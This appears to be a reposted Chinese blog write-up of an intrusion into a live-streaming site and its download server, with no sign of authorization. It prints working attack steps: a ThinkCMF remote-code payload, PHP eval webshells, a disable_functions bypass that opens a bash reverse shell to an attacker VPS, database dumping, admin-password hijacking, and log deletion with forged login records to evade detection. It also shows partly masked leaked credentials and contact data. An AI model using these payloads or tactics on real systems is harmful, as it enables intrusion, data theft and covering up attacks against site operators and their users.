记一次因打码不严的渗透测试案例

admin 2022年6月18日10:00:09评论191 views字数 5988阅读19分57秒阅读模式
声明:该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。


0x01 前言

这篇文章记录的是笔者在阅读“******惨案之对某色情直播渗透”文章时发现可能存在漏点的情况,所以就想着尝试找出目标站点并对其漏洞进行复现测试,再看下能不能继续深入的搞点事情。

事后才得知那篇文章是由团队成员@久哥和他公司小伙伴一起写的,并投稿到了某处,已告知漏点之处!!!


0x02 通过Twitter平台找目标站点

原文章作者虽然对域名、IP以及一些关键字等信息都做了打码处理,但笔者还是通过Twitter截图上的某些关键字成功找到那条推文信息,左为原作者截图,右为笔者截图。
记一次因打码不严的渗透测试案例

通过与原文中的推文作者头像和网站界面比对基本可以确定这就是他们的测试目标了,打开该网站后发现只是一个纯静态的APP引导下载站:http://****.xyz,暂时没法搞,先放一边。

记一次因打码不严的渗透测试案例

这里还需要通过这个APP找出他的域名,可以选择逆向APK或者抓包的方式得到。笔者没有Android逆向环境,找团队成员@Twe1ve帮忙看了下,说是加壳了,暂时没法脱,最后用Fiddler工具抓包得到他们测试的域名为:http://live.******.com

记一次因打码不严的渗透测试案例

使用Fiddler工具在抓HTTPS包时需要注意以下两点:

  • 1. 工具->选项->连接->Fidder在端口上侦听(必须和模拟器端口对应)

  • 2. 工具->选项->HTTPS->捕获HTTPS连接和解密HTTPS流量选项(勾选)

记一次因打码不严的渗透测试案例

0x03 利用ThinkCMF漏洞Getshell

通过对网站的观察发现是基于ThinkCMF开发的云豹直播系统,原文中已经说明这套程序的漏洞点出在ThinkCMF,并且作者也已经给出了最终利用Payload。
http://live.******.com/?a=fetch&content=<?=phpinfo();exit();
记一次因打码不严的渗透测试案例


phpinfo探针信息中得知目标PHP为7.2.18版本,disable_functions禁用了以下危险函数
passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
记一次因打码不严的渗透测试案例


(1) 绕过写入字符长度限制

这里限制了写入字符的长度,无法一次性将我们的PHP一句话木马写进去,一次性写入时会提示:模板不存在:themes/simplebootx/Portal/Index/fetch.html。

http://live.******.com/?a=fetch&content=<?=@$fp=fopen("xx.php",'a '); fwrite($fp,'<?php phpinfo();?>');exit();
记一次因打码不严的渗透测试案例


不过这里可以用fopen()函数+a将字符一个一个写进去,手动提交太麻烦,而且还经常写错,这里笔者将<?php phpinfo();?>分割成了每行一个字符,然后通过Burpsuite里的Intruder模块批量写入,注意线程不要过快,否则可能写入失败
<?php phpinfo();?>'"
记一次因打码不严的渗透测试案例


(2) 绕过中国菜刀PHP7限制

众所周知“中国菜刀”在PHP7版本以后是无法连接上普通PHP一句话木马的,按照上边提供的方法将以下PHP一句话木马写进去,当然也可以尝试使用中国蚁剑和冰蝎进行连接。

<?php $z0=str_replace('@set_magic_quotes_runtime(0);','',base64_decode($_POST['z0']));$_POST['z0']=base64_encode($z0);@eval($_POST['cmd']);?>

写入PHP一句话木马时发现空格经常出现问题,'单引号也写不进去404,可以将部分'单引号换成"双引号,写入空格时建议与前或后1个字符一起写入,最终修改的PHP一句话木马如下。
<?php $z0=str_replace("@set_magic_quotes_runtime(0);","",base64_decode($_POST[z0]));$_POST[z0]=base64_encode($z0);@eval($_POST[cmd]);?>

使用修改后的PHP一句话木马成功拿到Webshell权限,但是启用了disable_functions,中国菜刀的虚拟终端:“提示:......,可能远程启用了安全模式!”,无法直接执行系统命令
记一次因打码不严的渗透测试案例
记一次因打码不严的渗透测试案例


在以下两个数据库配置文件中找到MySQL、Redis账户密码,还在functions.php文件中找到一个过期的短信API账户密码,上边有QQ、Email、手机号等信息,暂时没什么鸟用,但可以先把这些信息搜集着,密码存在一定规律性,说不定后边能够用上。

/www/wwwroot/backend/data/conf/db.php/www/wwwroot/backend/api/Config/dbs.php
 /* mysql */    'DB_TYPE' => 'mysqli',    'DB_HOST' => '127.0.0.1',    'DB_NAME' => 'MH***hN',    'DB_USER' => 'MH***hN',    'DB_PWD' => 'MH***hNBbaYaNWxk',    'DB_PORT' => '3306',    'DB_PREFIX' => 'cmf_',    'DB_CHARSET' => 'utf8mb4',
/* redis */ 'REDIS_HOST' => "127.0.0.1", 'REDIS_AUTH' => "****tao", 'REDIS_PORT' => "6379", //密钥 "AUTHCODE" => 'rCt52pF2cnnKNB3Hkp', //cookies    "COOKIE_PREFIX" => 'AJ1sOD_',
/www/wwwroot/backend/api/Common/functions.php
$smsapi = "http://api.sms***.com/";$user = "xiaotianxin***";  //短信平台帐号$pass = md5("dfh****");    //短信平台密码
QQ:776**344Email:***[email protected]手机号:150****6034

记一次因打码不严的渗透测试案例


0x04 绕过disable_functions反弹Shell

这里笔者直接用https://github.com/mm0r1/exploits项目中的php7-backtrace-bypass脚本绕过了disable_functions,将该脚本中的pwn("uname -a");修改为我们的Bash反弹命令即可。
pwn("bash -i >& /dev/tcp/VPS_IP_Addr/Port 0>&1");

记一次因打码不严的渗透测试案例


0x05 打包程序和数据并进入网站后台

在弹回的命令终端中连接MySQL时发现不能进行交互,这时我们只需要在弹回的命令终端中执行以下命令即可得到一个半交互式命令终端,然后就可以正常连接MySQL了。
记一次因打码不严的渗透测试案例

[www@localhost backend]$ python -c 'import pty; pty.spawn("/bin/bash")'
记一次因打码不严的渗透测试案例


(1) 打包网站程序和数据库

使用tar、mysqldump、gunzip等命令将该网站程序和数据库给打包下来,便于我们本地做复现测试,当时忘了截图,就几条命令的事,就不再去补图了。

tar -cvf backend.tar /www/wwwroot/backend/mysqldump -h127.0.0.1 -uroot -proot --databases MH***hN | gzip > backend.sql.gzgunzip backend.sql.gz

(2) 修改管理员密码进入后台

MySQL数据库中找到的管理员密码无法通过解密得到明文密码,在function.php文件中找到ThinkCFM的加密算法如下,密文格式为:###08e3756d043515f77e8de4f5deb00496。

<?php /* 密码加密 */function setPass($pass){$authcode='rCt52pF2cnnKNB3Hkp'; $pass="###".md5(md5($authcode.$pass)); return $pass;}echo setpass('123456')?>


通过加密算法得到一个密文,进入MySQL替换管理员密码即可进入目标网站后台,这种方式最为简单快捷,但是动静比较大,需选择一个管理员不在线的时间段去操作,否则可能会被对方发现,最后还得恢复管理员密码和清除登录IP和操作日志,为防止误操作建议先在本地搭建环境测试。

1、查询管理员用户:SELECT * FROM `cmf_users` WHERE `user_login`='B8V9nAV';
2、查询多少用户在用这个密码:SELECT * FROM `cmf_users` WHERE FIND_IN_SET('###08e3756d043515f77e8de4f5deb00496',user_pass);
3、查询最近登录用户:SELECT * FROM `cmf_users` ORDER BY last_login_time DESC;
4、修改管理员密码:UPDATE `cmf_users` SET `user_pass`='###73b13b8b4d767f6c3c2953f123d1a721' WHERE (`user_login`='B8V9nAV');
5、删除管理员日志并重新按ID进行排序:DELETE FROM `cmf_admin_log` WHERE (`id`>='4175');ALTER TABLE cmf_admin_log AUTO_INCREMENT = 1;
6、恢复管理员密码并替换最后登录IP和时间:UPDATE `cmf_users` SET `user_pass`='###08e3756d043515f77e8de4f5deb00496',`last_login_ip`='122.60.22.247',`last_login_time`='2020-07-23 05:41:06' WHERE (`user_login`='B8V9nAV');
记一次因打码不严的渗透测试案例

(3) 进入后台及后续渗透思路

目前可进入目标网站后台和后续的渗透思路有以下一些,也希望各位大佬能补充一些其它思路,谢谢!

  • 1、修改后台登录入口嗅探登录的用户和密码;

  • 2、通过加密算法生成密文字典进行撞库攻击;

  • 3、通过加密算法生成密文后进入数据库修改;

  • 4、XSS打Cookie或Flash水坑钓鱼等攻击方式;

  • 5、APK中注入恶意程序,替换APK的下载地址;

  • 6、......


0x06 峰回路转之撸下APP引导下载站

管理员将云豹直播系统和APP引导下载站分别放在不同服务器上,所以无法通过目前已拿到的Webshell直接跨到APP引导下载站。我们继续来看下APP引导下载站,由于它是一个纯静态的网站,所以只能对它的旁站进行测试,查询到的旁站列表如下
记一次因打码不严的渗透测试案例


旁站列表中找到一个http://cl.****.xyz,网页源代码中发现用的是“辣椒cms”,这套程序与“久草CMS”类似,大多被用来搭建Sex影视站,没有用到数据库,所有视频数据均调用主站数据库,管理员用户密码保存在.Jccms_jsonadmin_bossboss.php文件中。
记一次因打码不严的渗透测试案例


(1) 通过辣椒CMS进行Getshell

默认后台地址:http://cl.****.xyz/adminx/,使用“辣椒cms”默认管理员用户密码lajiaocms成功进入网站后台,然后在后台的登录重置处将密码修改为以下代码即可Getshell。

');echo ‘111111’;$z0=str_replace('@set_magic_quotes_runtime(0);','',base64_decode($_POST['z0']));$_POST['z0']=base64_encode($z0);@eval($_POST['cmd']);?>";//
记一次因打码不严的渗透测试案例


(2) 绕过宝塔open_basedir跨站

两台服务器都是使用宝塔建的站,每个站的根目录下都会有一个.user.ini文件,并且使用open_basedir限制我们进行跨目录访问,网站根目录.user.ini文件内容如下。

open_basedir=/www/wwwroot/cl.****.xyz/:/tmp/:/proc/
记一次因打码不严的渗透测试案例


不过我们可以在当前Webshell根目录下新建一个.user.ini文件,将内容修改如下即可绕过open_basedir限制跨目录访问。
open_basedir=/www/wwwroot/:/tmp/:/proc/

记一次因打码不严的渗透测试案例


至此已成功拿到这个APP引导下载站的权限,恢复下后台登录密码,简单清理下痕迹闪人了!!!

0x07 PDF和源码下载

这篇文章的PDF文档,整体打包下来的源码、数据库可通过关注【潇湘信安】公众号回复【0618】获取。


关 注 有 礼



关注公众号回复“9527”可以领取一套HTB靶场文档和视频1208”个人常用高效爆破字典0221”2020年酒仙桥文章打包2191潇湘信安文章打包,“1212”杀软对比源码+数据源,0421Windows提权工具包

记一次因打码不严的渗透测试案例 还在等什么?赶紧点击下方名片关注学习吧!记一次因打码不严的渗透测试案例


推 荐 阅 读




记一次因打码不严的渗透测试案例
记一次因打码不严的渗透测试案例
记一次因打码不严的渗透测试案例

记一次因打码不严的渗透测试案例

原文始发于微信公众号(潇湘信安):记一次因打码不严的渗透测试案例

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月18日10:00:09
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记一次因打码不严的渗透测试案例https://cn-sec.com/archives/1126307.html

发表评论

匿名网友 填写信息